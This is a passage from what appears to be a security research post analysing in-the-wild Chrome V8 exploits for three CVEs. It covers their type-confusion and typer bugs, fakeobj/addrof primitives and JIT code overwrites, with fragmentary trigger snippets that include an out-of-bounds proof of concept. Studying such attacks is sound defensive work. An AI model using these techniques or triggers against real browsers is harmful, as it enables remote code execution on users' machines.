        return kNoReceiverMaps;


+     result = kUnreliableReceiverMaps;  // JSCreate can have side-effect.




The reader can refer to the blog post published by Exodus Intel for more details on the issue and their version of the exploit.

Exploit 1

This time there’s no embedded list of supported browser versions; the appropriate constants for Chrome 60-63 are determined on the server side.

The exploit takes a rather exotic approach: it only implements a function for the confusion in the double -> tagged direction, i.e. the fakeobj primitive, and takes advantage of a side effect in pop to leak a pointer to the internal hole object. The function pop overwrites the “popped” value with the hole, but due to the same confusion it writes a pointer instead of the special bit pattern for double arrays.

The exploit uses the leaked pointer and fakeobj to implement a data leak primitive that can “survive'' garbage collection. First, it acquires references to two other internal objects, the class_start_position and class_end_position private symbols, owing to the fact that the offset between them and the hole is fixed. Private symbols are special identifiers used by V8 to store hidden properties inside regular JS objects. In particular, the two symbols refer to the start and end substring indices in the script source that represent the body of a class. When JSFunction::ToString is invoked on the class constructor and builds the substring, it performs no bounds checks on the “trustworthy” indices; therefore, the attacker can modify them to leak arbitrary chunks of data in the V8 heap.

The obtained data is scanned for values required to craft a fake typed array: maps, fixed arrays, backing store pointers, etc. This approach allows the attacker to construct a perfectly valid fake object. Since the object is located in a memory region outside the V8 heap, the exploit also has to create a fake MemoryChunk header and marking bitmap to force the garbage collector to skip the crafted objects and, thus, avoid crashes.

Finally, the exploit overwrites the code of a JIT-compiled function with a payload and executes it.

The author has implemented extensive sanity checking. For example, the data leak primitive is reused to verify that the garbage collector hasn’t moved critical objects. In case of a failure, the worker with the exploit gets terminated before it can cause a crash. Quite impressively, even when we manually put GC invocations into critical sections of the exploit, it was still able to exit gracefully most of the time.

The exploit employs an interesting technique to detect whether the trigger function has been JIT-compiled:

jit_detector[Symbol.toPrimitive] = function() {

  var stack = (new Error).stack;

  if (stack.indexOf("Number (") == -1) {

    jit_detector.is_compiled = true;



function trigger(array, proxy) {

  if (!jit_detector.is_compiled) {




During compilation, TurboFan inlines the builtin function Number. This change is reflected in the JS call stack. Therefore, the attacker can scan a stack trace from inside a function that Number invokes to determine the compilation state.

The exploit was broken in Chrome 64 by the change that encapsulated both class body indices in a single internal object. Although the change only affected a minor detail of the exploit and had an obvious workaround, which is discussed below, the actor decided to abandon this 0-day and switch to an exploit for CVE-2019-5782. This observation suggests that the attacker was already aware of the third vulnerability around the time Chrome 64 came out, i.e. it was also used as a 0-day.

Exploit 2

After CVE-2019-5782 became unexploitable, the actor returned to this vulnerability. However, in the meantime, another commit landed in Chrome that stopped TurboFan from trying to optimize builtins invoked via or similar functions. Therefore, the trigger function had to be updated:

function trigger(new_target) {

  function inner(new_target) {

    popped = array.pop(

        Reflect.construct(function() { }, arguments, new_target));





By making the result of Reflect.construct an argument to the pop call, the attacker can move the corresponding JSCreate node after the map check induced by the property load.

The new exploit also has a modified data leak primitive. First, the attacker no longer relies on the side effect in pop to get an address on the heap and reuses the type confusion to implement the addrof function. Because the exploit doesn’t have a reference to the hole, it obtains the address of the builtin asyncIterator symbol instead, which is accessible to user scripts and also stored next to the desired class_positions private symbol.

The exploit can’t modify the class body indices directly as they’re not regular properties of the object referenced by class_positions. However, it can replace the entire object, so it generates an extra class with a much longer constructor string and uses it as a donor.

This version targets Chrome 68-72. It was broken by the commit that enabled the W^X protection for JIT regions. Again, given that there are still similar RWX mappings in the renderer related to WebAssembly, the exploit could have been easily fixed. The attacker, nevertheless, decided to focus on an exploit for CVE-2019-13764 instead.

Exploit 3 & 4

The actor returned once again to this vulnerability after CVE-2019-13764 got fixed. The new exploit bypasses the W^X protection by replacing a JIT-compiled JS function with a WebAssembly function as the overwrite target for code execution. That’s the only significant change made by the author.

Exploit 3 is the only one we’ve discovered on the Windows server, and Exploit 4 is essentially the same exploit adapted for Android. Interestingly, it only appeared on the Android server after the fix for the vulnerability came out. A significant amount of number and string literals got updated, and the pop call in the trigger function was replaced with a shift call. The actor likely attempted to avoid signature-based detection with those changes.

The exploits were used against Chrome 78-79 on Windows and 78-80 on Android until the vulnerability finally got patched.

The public exploit presented by Exodus Intel takes a completely different approach and abuses the fact that double and tagged pointer elements differ in size. When the same bug is applied against the function Array.prototype.push, the backing store offset for the new element is calculated incorrectly and, therefore, arbitrary data gets written past the end of the array. In this case the attacker doesn’t have to craft fake objects to achieve arbitrary read/write, which greatly simplifies the exploit. However, on 64-bit systems, this approach can only be used starting from Chrome 80, i.e. the version that introduced the pointer compression feature. While Chrome still runs in the 32-bit mode on Android in order to reduce memory overhead, user agent checks found in the exploits indicate that the actor also targeted (possibly 64-bit) webview processes.

3. CVE-2019-5782The vulnerability

CVE-2019-5782 is an issue in TurboFan’s typer module. During compilation, the typer infers the possible type of every node in a function graph using a set of rules imposed by the language. Subsequent optimization passes rely on this information and can, for example, eliminate a security-critical check when the predicted type suggests the check would be redundant. A mismatch between the inferred type and actual value can, therefore, lead to security issues.

Note that in this context, the notion of type is quite different from, for example, C++ types. A TurboFan type can be represented by a range of numbers or even a specific value. For more information on typer bugs please refer to the previous post.

In this case an incorrect type is produced for the expression arguments.length, i.e. the number of arguments passed to a given function. The compiler assigns it the integer range [0; 65534], which is valid for a regular call; however, the same limit is not enforced for Function.prototype.apply. The mismatch was abused by the attacker to eliminate a bounds check and access data past the end of the array:

oob_index = 100000;


function trigger() {

  let array = [1.1, 1.1];


  let index = arguments.length;

  index = index - 65534;

  index = Math.max(index, 0);


  return array[index] = 2.2;



for (let i = 0; i < 20000; i++) {




print(trigger.apply(null, new Array(65534 + oob_index)));

Qixun Zhao used the same vulnerability in Tianfu Cup and reported it to Chrome in November 2018. The public report includes a renderer exploit. The fix, which landed in Chrome 72, simply relaxed the range of the length property.

The exploit

The discovered exploit targets Chrome 63-67. The exploit flow is a bit unconventional as it doesn’t rely on typed arrays to gain arbitrary read/write. The attacker makes use of the fact that V8 allocates objects in the new space linearly to precompute inter-object offsets. The vulnerability is only triggered once to corrupt the length property of a tagged pointer array. The corrupted array can then be used repeatedly to overwrite the elements field of an unboxed double array with an arbitrary JS object, which gives the attacker raw access to the contents of that object. It’s worth noting that this approach doesn’t even require performing manual pointer arithmetic. As usual, the exploit finishes by overwriting the code of a JS function with the payload.

Interestingly, this is the only exploit that doesn’t take advantage of running inside a web worker even though the vulnerability is fully compatible. Also, the amount of error checking is significantly smaller than in the previous exploits. The author probably assumed that the exploitation primitive provided by the issue was so reliable that all additional safety measures became unnecessary. Nevertheless, during our testing, we did occasionally encounter crashes when one of the allocations that the exploit makes managed to trigger garbage collection. That said, such crashes were indeed quite rare.

As the reader may have noticed, the exploit had stopped working long before the issue was fixed. The reason is that one of the hardening patches against speculative side-channel attacks in V8 broke the bounds check elimination technique used by the exploit. The protection was soon turned off for desktop platforms and replaced with site isolation; hence, the public exploit, which employs the same technique, was successfully used against Chrome 70 on Windows during the competition.

The public and private exploits have little in common apart from the bug itself and BCE technique, which has been commonly known since at least 2017. The public exploit turns out-of-bounds access into a type confusion and then follows the older approach, which involves crafting a fake array buffer object, to achieve code execution.

4. CVE-2019-13764

This more complex typer issue occurs when TurboFan doesn’t reflect the possible NaN value in the type of an induction variable. The bug can be triggered by the following code:

for (var i = -Infinity; i < 0; i += Infinity) { [...] }

This vulnerability and exploit for Chrome 73-79 have been discussed in detail in the previous blog post. There’s also an earlier version of the exploit targeting Chrome 69-72; the only difference is that the newer version switched from a JS JIT function to a WASM function as the overwrite target.

The comparison with the exploit for the previous typer issue (CVE-2019-5782) is more interesting, though. The developer put much greater emphasis on stability of the new exploit even though the two vulnerabilities are identical in this regard. The web worker wrapper is back, and the exploit doesn’t corrupt tagged element arrays to avoid GC crashes. Also, it no longer relies completely on precomputed offsets between objects in the new space. For example, to leak a pointer to a JS object the attacker puts it between marker values and then scans the memory for the matching pattern. Finally, the number of sanity checks is increased again.

It’s also worth noting that the new typer bug exploitation technique worked against Chrome on Android despite the side-channel attack mitigation and could have “revived” the exploit for CVE-2019-5782.


The timeline data and incremental changes between different exploit versions suggest that at least three out of the four vulnerabilities (CVE-2020-6418, CVE-2019-5782 and CVE-2019-13764) have been used as 0-days.

It is no secret that exploit reliability is a priority for high-tier attackers, but our findings  demonstrate the amount of resources the attackers are willing to spend on making their exploits extra reliable, especially the evidence that the actor has switched from an already high-quality 0-day to a slightly better vulnerability twice.

The area of JIT engine security has received great attention from the wider security community over the last few years. In 2015, when Chrome 37 came out, the exploit for CVE-2017-5070 would be considered quite ahead of its time. In contrast, if we don’t take into account the stability aspect, the exploit for the latest typer issue is not very different from exploits that enthusiasts made for JavaScript challenges at CTF competitions in 2019. This attention also likely affects the average lifetime of a JIT vulnerability and, therefore, may force attackers to move to different bug classes in the future.

This is part 3 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To continue reading, see In The Wild Part 4: Android Exploits.

Kategorie: Hacking & Security

In-the-Wild Series: Chrome Infinity Bug

12 Leden, 2021 - 18:36
@import url('');.lst-kix_7su7ou72o4cv-5>li:before{content:"\0025a0 "}.lst-kix_ph6rnlcahjwh-5>li:before{content:"- "}.lst-kix_7su7ou72o4cv-4>li:before{content:"\0025cb "}.lst-kix_7su7ou72o4cv-6>li:before{content:"\0025cf "}.lst-kix_ph6rnlcahjwh-4>li:before{content:"- "}.lst-kix_ph6rnlcahjwh-6>li:before{content:"- "}.lst-kix_ph6rnlcahjwh-3>li:before{content:"- "}.lst-kix_ph6rnlcahjwh-7>li:before{content:"- "}.lst-kix_7su7ou72o4cv-1>li:before{content:"\0025cb "}.lst-kix_4lv7wlgwlzbl-4>li{counter-increment:lst-ctn-kix_4lv7wlgwlzbl-4}ol.lst-kix_6t9upr2rb0pl-2{list-style-type:none}.lst-kix_tjivp5v87ht1-6>li{counter-increment:lst-ctn-kix_tjivp5v87ht1-6}ol.lst-kix_6t9upr2rb0pl-1{list-style-type:none}.lst-kix_7su7ou72o4cv-2>li:before{content:"\0025a0 "}ol.lst-kix_6t9upr2rb0pl-4{list-style-type:none}ol.lst-kix_6t9upr2rb0pl-3{list-style-type:none}.lst-kix_7su7ou72o4cv-3>li:before{content:"\0025cf "}ol.lst-kix_6t9upr2rb0pl-6{list-style-type:none}ol.lst-kix_6t9upr2rb0pl-5{list-style-type:none}.lst-kix_6t9upr2rb0pl-7>li{counter-increment:lst-ctn-kix_6t9upr2rb0pl-7}ol.lst-kix_6t9upr2rb0pl-8{list-style-type:none}ol.lst-kix_6t9upr2rb0pl-7{list-style-type:none}ol.lst-kix_tjivp5v87ht1-2.start{counter-reset:lst-ctn-kix_tjivp5v87ht1-2 0}ol.lst-kix_4lv7wlgwlzbl-6.start{counter-reset:lst-ctn-kix_4lv7wlgwlzbl-6 0}ul.lst-kix_k49jg03z60rl-0{list-style-type:none}.lst-kix_ph6rnlcahjwh-1>li:before{content:"- "}.lst-kix_7su7ou72o4cv-8>li:before{content:"\0025a0 "}ul.lst-kix_k49jg03z60rl-2{list-style-type:none}.lst-kix_ph6rnlcahjwh-0>li:before{content:"- "}.lst-kix_ph6rnlcahjwh-2>li:before{content:"- "}ul.lst-kix_k49jg03z60rl-1{list-style-type:none}.lst-kix_jag6vffvgbdr-1>li{counter-increment:lst-ctn-kix_jag6vffvgbdr-1}.lst-kix_7su7ou72o4cv-7>li:before{content:"\0025cb "}ol.lst-kix_6t9upr2rb0pl-3.start{counter-reset:lst-ctn-kix_6t9upr2rb0pl-3 0}ul.lst-kix_k49jg03z60rl-8{list-style-type:none}ul.lst-kix_k49jg03z60rl-7{list-style-type:none}ul.lst-kix_k49jg03z60rl-4{list-style-type:none}ol.lst-kix_4lv7wlgwlzbl-1.start{counter-reset:lst-ctn-kix_4lv7wlgwlzbl-1 0}ul.lst-kix_k49jg03z60rl-3{list-style-type:none}ul.lst-kix_k49jg03z60rl-6{list-style-type:none}ul.lst-kix_k49jg03z60rl-5{list-style-type:none}.lst-kix_ok4hk6jho1i2-7>li:before{content:"- "}.lst-kix_ok4hk6jho1i2-6>li:before{content:"- "}.lst-kix_ok4hk6jho1i2-8>li:before{content:"- "}.lst-kix_ok4hk6jho1i2-4>li:before{content:"- "}.lst-kix_ph6rnlcahjwh-8>li:before{content:"- "}.lst-kix_jag6vffvgbdr-3>li{counter-increment:lst-ctn-kix_jag6vffvgbdr-3}.lst-kix_4lv7wlgwlzbl-6>li{counter-increment:lst-ctn-kix_4lv7wlgwlzbl-6}.lst-kix_ok4hk6jho1i2-5>li:before{content:"- "}.lst-kix_jag6vffvgbdr-5>li{counter-increment:lst-ctn-kix_jag6vffvgbdr-5}ul.lst-kix_g2pmr8uholml-1{list-style-type:none}ul.lst-kix_g2pmr8uholml-0{list-style-type:none}ul.lst-kix_g2pmr8uholml-3{list-style-type:none}ul.lst-kix_g2pmr8uholml-2{list-style-type:none}ul.lst-kix_mzny8cu5r6kt-6{list-style-type:none}ul.lst-kix_mzny8cu5r6kt-5{list-style-type:none}ul.lst-kix_mzny8cu5r6kt-8{list-style-type:none}ol.lst-kix_jag6vffvgbdr-3.start{counter-reset:lst-ctn-kix_jag6vffvgbdr-3 0}ul.lst-kix_mzny8cu5r6kt-7{list-style-type:none}ul.lst-kix_mzny8cu5r6kt-2{list-style-type:none}ul.lst-kix_mzny8cu5r6kt-1{list-style-type:none}ul.lst-kix_mzny8cu5r6kt-4{list-style-type:none}ol.lst-kix_4lv7wlgwlzbl-7.start{counter-reset:lst-ctn-kix_4lv7wlgwlzbl-7 0}ul.lst-kix_mzny8cu5r6kt-3{list-style-type:none}.lst-kix_k49jg03z60rl-4>li:before{content:"- "}ul.lst-kix_ph6rnlcahjwh-5{list-style-type:none}ul.lst-kix_ph6rnlcahjwh-4{list-style-type:none}ul.lst-kix_mzny8cu5r6kt-0{list-style-type:none}ul.lst-kix_ph6rnlcahjwh-3{list-style-type:none}ul.lst-kix_ph6rnlcahjwh-2{list-style-type:none}ul.lst-kix_q85uxkfz2z38-7{list-style-type:none}ul.lst-kix_ph6rnlcahjwh-1{list-style-type:none}.lst-kix_tjivp5v87ht1-4>li{counter-increment:lst-ctn-kix_tjivp5v87ht1-4}ul.lst-kix_q85uxkfz2z38-6{list-style-type:none}ul.lst-kix_ph6rnlcahjwh-0{list-style-type:none}.lst-kix_k49jg03z60rl-5>li:before{content:"- "}ul.lst-kix_q85uxkfz2z38-8{list-style-type:none}.lst-kix_k49jg03z60rl-8>li:before{content:"- "}ol.lst-kix_jag6vffvgbdr-4.start{counter-reset:lst-ctn-kix_jag6vffvgbdr-4 0}.lst-kix_k49jg03z60rl-6>li:before{content:"- "}ul.lst-kix_ph6rnlcahjwh-8{list-style-type:none}.lst-kix_k49jg03z60rl-7>li:before{content:"- "}ul.lst-kix_ph6rnlcahjwh-7{list-style-type:none}ol.lst-kix_tjivp5v87ht1-7.start{counter-reset:lst-ctn-kix_tjivp5v87ht1-7 0}ul.lst-kix_ph6rnlcahjwh-6{list-style-type:none}.lst-kix_6t9upr2rb0pl-0>li{counter-increment:lst-ctn-kix_6t9upr2rb0pl-0}ol.lst-kix_4lv7wlgwlzbl-0{list-style-type:none}ol.lst-kix_6t9upr2rb0pl-4.start{counter-reset:lst-ctn-kix_6t9upr2rb0pl-4 0}ul.lst-kix_q85uxkfz2z38-3{list-style-type:none}ul.lst-kix_q85uxkfz2z38-2{list-style-type:none}ul.lst-kix_q85uxkfz2z38-5{list-style-type:none}ol.lst-kix_tjivp5v87ht1-1.start{counter-reset:lst-ctn-kix_tjivp5v87ht1-1 0}ul.lst-kix_q85uxkfz2z38-4{list-style-type:none}.lst-kix_k49jg03z60rl-2>li:before{content:"- "}ul.lst-kix_q85uxkfz2z38-1{list-style-type:none}.lst-kix_k49jg03z60rl-3>li:before{content:"- "}ul.lst-kix_q85uxkfz2z38-0{list-style-type:none}ol.lst-kix_tjivp5v87ht1-8.start{counter-reset:lst-ctn-kix_tjivp5v87ht1-8 0}ul.lst-kix_7su7ou72o4cv-0{list-style-type:none}ul.lst-kix_7su7ou72o4cv-1{list-style-type:none}.lst-kix_k49jg03z60rl-1>li:before{content:"- "}ol.lst-kix_6t9upr2rb0pl-0{list-style-type:none}ul.lst-kix_7su7ou72o4cv-4{list-style-type:none}ul.lst-kix_g2pmr8uholml-5{list-style-type:none}.lst-kix_k49jg03z60rl-0>li:before{content:"- "}ol.lst-kix_4lv7wlgwlzbl-1{list-style-type:none}ul.lst-kix_7su7ou72o4cv-5{list-style-type:none}ul.lst-kix_g2pmr8uholml-4{list-style-type:none}ol.lst-kix_4lv7wlgwlzbl-2{list-style-type:none}.lst-kix_7su7ou72o4cv-0>li:before{content:"\0025cf "}ul.lst-kix_7su7ou72o4cv-2{list-style-type:none}ul.lst-kix_g2pmr8uholml-7{list-style-type:none}ol.lst-kix_4lv7wlgwlzbl-0.start{counter-reset:lst-ctn-kix_4lv7wlgwlzbl-0 0}ol.lst-kix_4lv7wlgwlzbl-3{list-style-type:none}ul.lst-kix_7su7ou72o4cv-3{list-style-type:none}ul.lst-kix_g2pmr8uholml-6{list-style-type:none}ol.lst-kix_4lv7wlgwlzbl-4{list-style-type:none}ul.lst-kix_7su7ou72o4cv-8{list-style-type:none}ol.lst-kix_4lv7wlgwlzbl-5{list-style-type:none}ul.lst-kix_g2pmr8uholml-8{list-style-type:none}ol.lst-kix_4lv7wlgwlzbl-6{list-style-type:none}ul.lst-kix_7su7ou72o4cv-6{list-style-type:none}ol.lst-kix_4lv7wlgwlzbl-7{list-style-type:none}ul.lst-kix_7su7ou72o4cv-7{list-style-type:none}ol.lst-kix_4lv7wlgwlzbl-8{list-style-type:none}ol.lst-kix_jag6vffvgbdr-5.start{counter-reset:lst-ctn-kix_jag6vffvgbdr-5 0}.lst-kix_jag6vffvgbdr-8>li{counter-increment:lst-ctn-kix_jag6vffvgbdr-8}.lst-kix_4lv7wlgwlzbl-1>li:before{content:"" counter(lst-ctn-kix_4lv7wlgwlzbl-1,lower-latin) ". "}.lst-kix_gaotlzro2or-1>li:before{content:"\0025cb "}.lst-kix_tjivp5v87ht1-1>li{counter-increment:lst-ctn-kix_tjivp5v87ht1-1}.lst-kix_6t9upr2rb0pl-2>li{counter-increment:lst-ctn-kix_6t9upr2rb0pl-2}.lst-kix_4lv7wlgwlzbl-5>li:before{content:"" counter(lst-ctn-kix_4lv7wlgwlzbl-5,lower-roman) ". "}.lst-kix_tjivp5v87ht1-2>li:before{content:"" counter(lst-ctn-kix_tjivp5v87ht1-2,lower-roman) ") "}.lst-kix_tjivp5v87ht1-4>li:before{content:"(" counter(lst-ctn-kix_tjivp5v87ht1-4,lower-latin) ") "}.lst-kix_tjivp5v87ht1-0>li:before{content:"" counter(lst-ctn-kix_tjivp5v87ht1-0,decimal) ") "}.lst-kix_4lv7wlgwlzbl-3>li:before{content:"" counter(lst-ctn-kix_4lv7wlgwlzbl-3,decimal) ". "}.lst-kix_6t9upr2rb0pl-3>li{counter-increment:lst-ctn-kix_6t9upr2rb0pl-3}ol.lst-kix_4lv7wlgwlzbl-8.start{counter-reset:lst-ctn-kix_4lv7wlgwlzbl-8 0}ol.lst-kix_tjivp5v87ht1-6.start{counter-reset:lst-ctn-kix_tjivp5v87ht1-6 0}.lst-kix_4lv7wlgwlzbl-0>li{counter-increment:lst-ctn-kix_4lv7wlgwlzbl-0}.lst-kix_mzny8cu5r6kt-3>li:before{content:"- "}ul.lst-kix_r62im46cu2x7-8{list-style-type:none}ul.lst-kix_r62im46cu2x7-6{list-style-type:none}ul.lst-kix_r62im46cu2x7-7{list-style-type:none}.lst-kix_4lv7wlgwlzbl-7>li:before{content:"" counter(lst-ctn-kix_4lv7wlgwlzbl-7,lower-latin) ". "}ol.lst-kix_jag6vffvgbdr-8{list-style-type:none}.lst-kix_mzny8cu5r6kt-5>li:before{content:"- "}ol.lst-kix_jag6vffvgbdr-5{list-style-type:none}ul.lst-kix_r62im46cu2x7-0{list-style-type:none}ol.lst-kix_jag6vffvgbdr-4{list-style-type:none}ul.lst-kix_r62im46cu2x7-1{list-style-type:none}ol.lst-kix_tjivp5v87ht1-3.start{counter-reset:lst-ctn-kix_tjivp5v87ht1-3 0}ol.lst-kix_jag6vffvgbdr-7{list-style-type:none}ol.lst-kix_jag6vffvgbdr-6{list-style-type:none}ol.lst-kix_jag6vffvgbdr-1{list-style-type:none}ul.lst-kix_r62im46cu2x7-4{list-style-type:none}ol.lst-kix_jag6vffvgbdr-0{list-style-type:none}ul.lst-kix_r62im46cu2x7-5{list-style-type:none}ol.lst-kix_jag6vffvgbdr-3{list-style-type:none}ul.lst-kix_r62im46cu2x7-2{list-style-type:none}.lst-kix_mzny8cu5r6kt-7>li:before{content:"- "}.lst-kix_g2pmr8uholml-6>li:before{content:"\0025cf "}ol.lst-kix_jag6vffvgbdr-2{list-style-type:none}ol.lst-kix_jag6vffvgbdr-8.start{counter-reset:lst-ctn-kix_jag6vffvgbdr-8 0}ul.lst-kix_r62im46cu2x7-3{list-style-type:none}.lst-kix_6t9upr2rb0pl-1>li{counter-increment:lst-ctn-kix_6t9upr2rb0pl-1}.lst-kix_jag6vffvgbdr-6>li{counter-increment:lst-ctn-kix_jag6vffvgbdr-6}.lst-kix_g2pmr8uholml-8>li:before{content:"\0025a0 "}.lst-kix_ok4hk6jho1i2-0>li:before{content:"- "}.lst-kix_ok4hk6jho1i2-2>li:before{content:"- "}ol.lst-kix_jag6vffvgbdr-7.start{counter-reset:lst-ctn-kix_jag6vffvgbdr-7 0}.lst-kix_g2pmr8uholml-4>li:before{content:"\0025cb "}ol.lst-kix_6t9upr2rb0pl-8.start{counter-reset:lst-ctn-kix_6t9upr2rb0pl-8 0}.lst-kix_g2pmr8uholml-2>li:before{content:"\0025a0 "}.lst-kix_jag6vffvgbdr-0>li:before{content:"" counter(lst-ctn-kix_jag6vffvgbdr-0,decimal) ". "}.lst-kix_g2pmr8uholml-0>li:before{content:"\0025cf "}.lst-kix_mzny8cu5r6kt-1>li:before{content:"- "}.lst-kix_tjivp5v87ht1-2>li{counter-increment:lst-ctn-kix_tjivp5v87ht1-2}ul.lst-kix_7ta2tcff26n-6{list-style-type:none}ul.lst-kix_7ta2tcff26n-7{list-style-type:none}ul.lst-kix_7ta2tcff26n-4{list-style-type:none}ul.lst-kix_7ta2tcff26n-5{list-style-type:none}.lst-kix_tjivp5v87ht1-8>li{counter-increment:lst-ctn-kix_tjivp5v87ht1-8}ol.lst-kix_jag6vffvgbdr-6.start{counter-reset:lst-ctn-kix_jag6vffvgbdr-6 0}ul.lst-kix_7ta2tcff26n-8{list-style-type:none}ol.lst-kix_tjivp5v87ht1-4.start{counter-reset:lst-ctn-kix_tjivp5v87ht1-4 0}.lst-kix_tjivp5v87ht1-6>li:before{content:"" counter(lst-ctn-kix_tjivp5v87ht1-6,decimal) ". "}.lst-kix_jag6vffvgbdr-7>li{counter-increment:lst-ctn-kix_jag6vffvgbdr-7}ul.lst-kix_7ta2tcff26n-2{list-style-type:none}.lst-kix_gaotlzro2or-7>li:before{content:"\0025cb "}ul.lst-kix_7ta2tcff26n-3{list-style-type:none}ul.lst-kix_7ta2tcff26n-0{list-style-type:none}ul.lst-kix_7ta2tcff26n-1{list-style-type:none}.lst-kix_gaotlzro2or-5>li:before{content:"\0025a0 "}ol.lst-kix_6t9upr2rb0pl-7.start{counter-reset:lst-ctn-kix_6t9upr2rb0pl-7 0}.lst-kix_tjivp5v87ht1-8>li:before{content:"" counter(lst-ctn-kix_tjivp5v87ht1-8,lower-roman) ". "}.lst-kix_6t9upr2rb0pl-8>li{counter-increment:lst-ctn-kix_6t9upr2rb0pl-8}.lst-kix_gaotlzro2or-3>li:before{content:"\0025cf "}ol.lst-kix_6t9upr2rb0pl-0.start{counter-reset:lst-ctn-kix_6t9upr2rb0pl-0 0}ol.lst-kix_tjivp5v87ht1-5.start{counter-reset:lst-ctn-kix_tjivp5v87ht1-5 0}.lst-kix_jag6vffvgbdr-2>li{counter-increment:lst-ctn-kix_jag6vffvgbdr-2}.lst-kix_4lv7wlgwlzbl-5>li{counter-increment:lst-ctn-kix_4lv7wlgwlzbl-5}ol.lst-kix_jag6vffvgbdr-1.start{counter-reset:lst-ctn-kix_jag6vffvgbdr-1 0}.lst-kix_6t9upr2rb0pl-8>li:before{content:"" counter(lst-ctn-kix_6t9upr2rb0pl-8,lower-roman) ". "}.lst-kix_tjivp5v87ht1-7>li{counter-increment:lst-ctn-kix_tjivp5v87ht1-7}.lst-kix_6t9upr2rb0pl-6>li{counter-increment:lst-ctn-kix_6t9upr2rb0pl-6}.lst-kix_q85uxkfz2z38-2>li:before{content:"\00274f "}.lst-kix_q85uxkfz2z38-3>li:before{content:"\00274f "}.lst-kix_4lv7wlgwlzbl-3>li{counter-increment:lst-ctn-kix_4lv7wlgwlzbl-3}.lst-kix_jag6vffvgbdr-1>li:before{content:"" counter(lst-ctn-kix_jag6vffvgbdr-1,lower-latin) ". "}.lst-kix_q85uxkfz2z38-1>li:before{content:"\00274f "}.lst-kix_q85uxkfz2z38-5>li:before{content:"\00274f "}ol.lst-kix_6t9upr2rb0pl-6.start{counter-reset:lst-ctn-kix_6t9upr2rb0pl-6 0}.lst-kix_jag6vffvgbdr-2>li:before{content:"" counter(lst-ctn-kix_jag6vffvgbdr-2,lower-roman) ". "}.lst-kix_jag6vffvgbdr-3>li:before{content:"" counter(lst-ctn-kix_jag6vffvgbdr-3,decimal) ". "}.lst-kix_q85uxkfz2z38-6>li:before{content:"\00274f "}.lst-kix_q85uxkfz2z38-7>li:before{content:"\00274f "}.lst-kix_q85uxkfz2z38-0>li:before{content:"\00274f "}.lst-kix_q85uxkfz2z38-8>li:before{content:"\00274f "}.lst-kix_jag6vffvgbdr-4>li:before{content:"" counter(lst-ctn-kix_jag6vffvgbdr-4,lower-latin) ". "}ol.lst-kix_tjivp5v87ht1-2{list-style-type:none}ul.lst-kix_gaotlzro2or-3{list-style-type:none}.lst-kix_jag6vffvgbdr-7>li:before{content:"" counter(lst-ctn-kix_jag6vffvgbdr-7,lower-latin) ". "}ol.lst-kix_tjivp5v87ht1-1{list-style-type:none}ul.lst-kix_gaotlzro2or-2{list-style-type:none}ol.lst-kix_tjivp5v87ht1-0{list-style-type:none}ul.lst-kix_gaotlzro2or-5{list-style-type:none}ul.lst-kix_gaotlzro2or-4{list-style-type:none}ol.lst-kix_tjivp5v87ht1-6{list-style-type:none}.lst-kix_jag6vffvgbdr-5>li:before{content:"" counter(lst-ctn-kix_jag6vffvgbdr-5,lower-roman) ". "}ul.lst-kix_ok4hk6jho1i2-8{list-style-type:none}ol.lst-kix_tjivp5v87ht1-5{list-style-type:none}ul.lst-kix_ok4hk6jho1i2-7{list-style-type:none}ol.lst-kix_tjivp5v87ht1-4{list-style-type:none}ul.lst-kix_gaotlzro2or-1{list-style-type:none}.lst-kix_jag6vffvgbdr-6>li:before{content:"" counter(lst-ctn-kix_jag6vffvgbdr-6,decimal) ". "}ul.lst-kix_ok4hk6jho1i2-6{list-style-type:none}ol.lst-kix_tjivp5v87ht1-3{list-style-type:none}ul.lst-kix_gaotlzro2or-0{list-style-type:none}.lst-kix_jag6vffvgbdr-0>li{counter-increment:lst-ctn-kix_jag6vffvgbdr-0}ul.lst-kix_ok4hk6jho1i2-5{list-style-type:none}ul.lst-kix_ok4hk6jho1i2-4{list-style-type:none}ul.lst-kix_ok4hk6jho1i2-3{list-style-type:none}ol.lst-kix_tjivp5v87ht1-8{list-style-type:none}ul.lst-kix_ok4hk6jho1i2-2{list-style-type:none}ol.lst-kix_tjivp5v87ht1-7{list-style-type:none}ul.lst-kix_ok4hk6jho1i2-1{list-style-type:none}ul.lst-kix_gaotlzro2or-7{list-style-type:none}ul.lst-kix_ok4hk6jho1i2-0{list-style-type:none}.lst-kix_q85uxkfz2z38-4>li:before{content:"\00274f "}ul.lst-kix_gaotlzro2or-6{list-style-type:none}.lst-kix_jag6vffvgbdr-8>li:before{content:"" counter(lst-ctn-kix_jag6vffvgbdr-8,lower-roman) ". "}ul.lst-kix_gaotlzro2or-8{list-style-type:none}ol.lst-kix_tjivp5v87ht1-0.start{counter-reset:lst-ctn-kix_tjivp5v87ht1-0 0}.lst-kix_tjivp5v87ht1-3>li{counter-increment:lst-ctn-kix_tjivp5v87ht1-3}.lst-kix_4lv7wlgwlzbl-7>li{counter-increment:lst-ctn-kix_4lv7wlgwlzbl-7}.lst-kix_6t9upr2rb0pl-4>li{counter-increment:lst-ctn-kix_6t9upr2rb0pl-4}ol.lst-kix_6t9upr2rb0pl-5.start{counter-reset:lst-ctn-kix_6t9upr2rb0pl-5 0}.lst-kix_r62im46cu2x7-4>li:before{content:"- "}.lst-kix_r62im46cu2x7-3>li:before{content:"- "}.lst-kix_7ta2tcff26n-8>li:before{content:"\0025a0 "}.lst-kix_7ta2tcff26n-7>li:before{content:"\0025cb "}.lst-kix_r62im46cu2x7-1>li:before{content:"- "}.lst-kix_7ta2tcff26n-6>li:before{content:"\0025cf "}.lst-kix_r62im46cu2x7-0>li:before{content:"- "}.lst-kix_r62im46cu2x7-2>li:before{content:"- "}.lst-kix_4lv7wlgwlzbl-1>li{counter-increment:lst-ctn-kix_4lv7wlgwlzbl-1}.lst-kix_7ta2tcff26n-5>li:before{content:"\0025a0 "}.lst-kix_6t9upr2rb0pl-6>li:before{content:"" counter(lst-ctn-kix_6t9upr2rb0pl-6,decimal) ". "}.lst-kix_7ta2tcff26n-2>li:before{content:"\0025a0 "}.lst-kix_7ta2tcff26n-3>li:before{content:"\0025cf "}.lst-kix_6t9upr2rb0pl-5>li:before{content:"" counter(lst-ctn-kix_6t9upr2rb0pl-5,lower-roman) ". "}.lst-kix_6t9upr2rb0pl-7>li:before{content:"" counter(lst-ctn-kix_6t9upr2rb0pl-7,lower-latin) ". "}.lst-kix_7ta2tcff26n-0>li:before{content:"\0025cf "}.lst-kix_7ta2tcff26n-4>li:before{content:"\0025cb 